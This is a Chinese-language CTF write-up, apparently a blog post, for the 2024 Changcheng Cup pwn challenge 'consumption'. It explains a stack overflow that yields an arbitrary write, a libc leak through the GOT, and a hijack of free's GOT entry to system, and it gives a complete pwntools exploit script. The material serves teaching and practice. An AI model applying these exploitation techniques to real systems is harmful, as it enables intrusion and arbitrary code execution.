【PWN · 栈溢出 | GOT劫持】[2024 · 长城杯]consumption

通过代码审计,找到栈溢出漏洞点,覆盖关键栈变量,实现任意地址写


前言

本题主要是套壳了Cjson,实则是约定了输入格式。通过仔细代码审计,即可找到栈溢出,并实现利用 


一、题目

查阅网上资料,得知实际上就是json格式的数据,上述代码检查了是否包含这些字段。 

似乎是菜单题,可能考堆,需要逆向Cjson?后来发现确实是被唬住了 

大致的程序功能即使如此 

二、漏洞点

main函数存在栈溢出,溢出时会覆盖两个变量,v13、v14,具体看一下这两个值的作用

查看error函数,原来仅仅是返回,并没有退出程序。

 

因此通过栈溢出覆盖v13,我们就可以获得一个任意地址写的能力

v14则没有什么特殊之处,最后放了cannary;既然我们有任意地址写,就不考虑那么多:

利用思路:通过溢出获得任意地址写,将got表写在Heap数组,利用show泄露libc,然后将free的got表劫持为system,释放一个指向"/bin/sh"的指针即可  

三、利用过程

(1)栈溢出-任意地址写-写printf.got到Heap[1]

(2)show Heap[1] leak libc

 

(3)free GOT表劫持为system 

任意地址写,但是system的地址数比较大,会造成溢出,因此得通过edit来实现写。之前我们选择leak printf,也是因为GOT表printf和free相邻。通过edit写指向printfgot表的指针,即可修改freegot

(4)free Heap[0]释放指向/bin/sh的指针

 

四、EXP

from pwn import *
io=process('./consumption')
elf=ELF('./consumption')
libc=ELF('/lib/i386-linux-gnu/libc.so.6')
context.arch=elf.arch
context.log_level='debug'

##########################
global flag
def debug(touch=True,fg=False):
    global flag
    if fg:
        flag = True
        gdb.attach(io);input('[*]Pause for gdb-attach...')
    elif touch:
        if input('[?]GDB attach: ')!='':
            flag=True
            gdb.attach(io);input('[*]Pause for gdb-attach...')
        else:
            flag=False
            print("[-]GDB didn't attach")
            return
    print("[-]GDB didn't attach")
    return 

def gdb_check():
    global flag
    if(flag):
        pause()
##########################
debug()

def add(size,content):
    payload=b'{"choice":"1","idx":0,"size":"'+str(size).encode("utf-8")+b'","content":"'+content+b'"}'
    io.sendlineafter(b'exit\t\n',payload)
def delete(id):
    payload=b'{"choice":"2","idx":'+str(id).encode()+b',"size":"0","content":""}'
    io.sendlineafter(b'exit\t\n',payload)
def show(id):
    payload=b'{"choice":"3","idx":'+str(id).encode()+b',"size":"0","content":""}'
    io.sendlineafter(b'exit\t\n',payload)
def edit(id,content):
    payload=b'{"choice":"4","idx":'+str(id).encode()+b',"size":"0","content":"'+content+b'"}'
    io.sendlineafter(b'exit\t\n',payload)

# .got.plt:08051AAC 68 1B 05 08                   off_8051AAC dd offset printf            ; DATA XREF: _printf+4↑r
# .got.plt:08051AB0 BC 1B 05 08                   off_8051AB0 dd offset free              ; DATA XREF: _free+4↑r

# 0000100C s
# ...
# 00000B0C anonymous_0
# 0x100c-0xb0c=0x500

# b *0x8049985

heaplist=0x8051B10
# 溢出前提前构造好指向/bin/sh的指针
add(0x10,b'/bin/sh')

# print(elf.got['printf']) #134552236
deadbeef=b'b'*(0x500+0x6-len(b'{"choice":"1","idx":0,"size":"134552236","content":"aaaa"}'))
add(elf.got['printf'],deadbeef+p32(heaplist+4))
gdb_check()
show(1)
io.recvuntil(b'content:')
printf=u32(io.recv(4))
success(hex(printf))
libc_base=printf-0xea8fda90+0xea8a6000
success(hex(libc_base))
system=libc_base+libc.sym['system']
success(hex(system))
gdb_check()

# 方法1:通过任意地址写来劫持got表 —— system数值过大,不方便处理
# deadbeef=b'b'*(0x500+0x6-len(b'{"choice":"1","idx":0,"size":"1234567890","content":"aaaa"}'))
# add(system,deadbeef+p32(elf.got['free']))
# gdb_check()

# 方法2:printf的got表指针已经写在heap[1]中,只需要edit,即可替换邻近的free
edit(1,p32(printf)+p32(system))
delete(0)

io.interactive()

 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值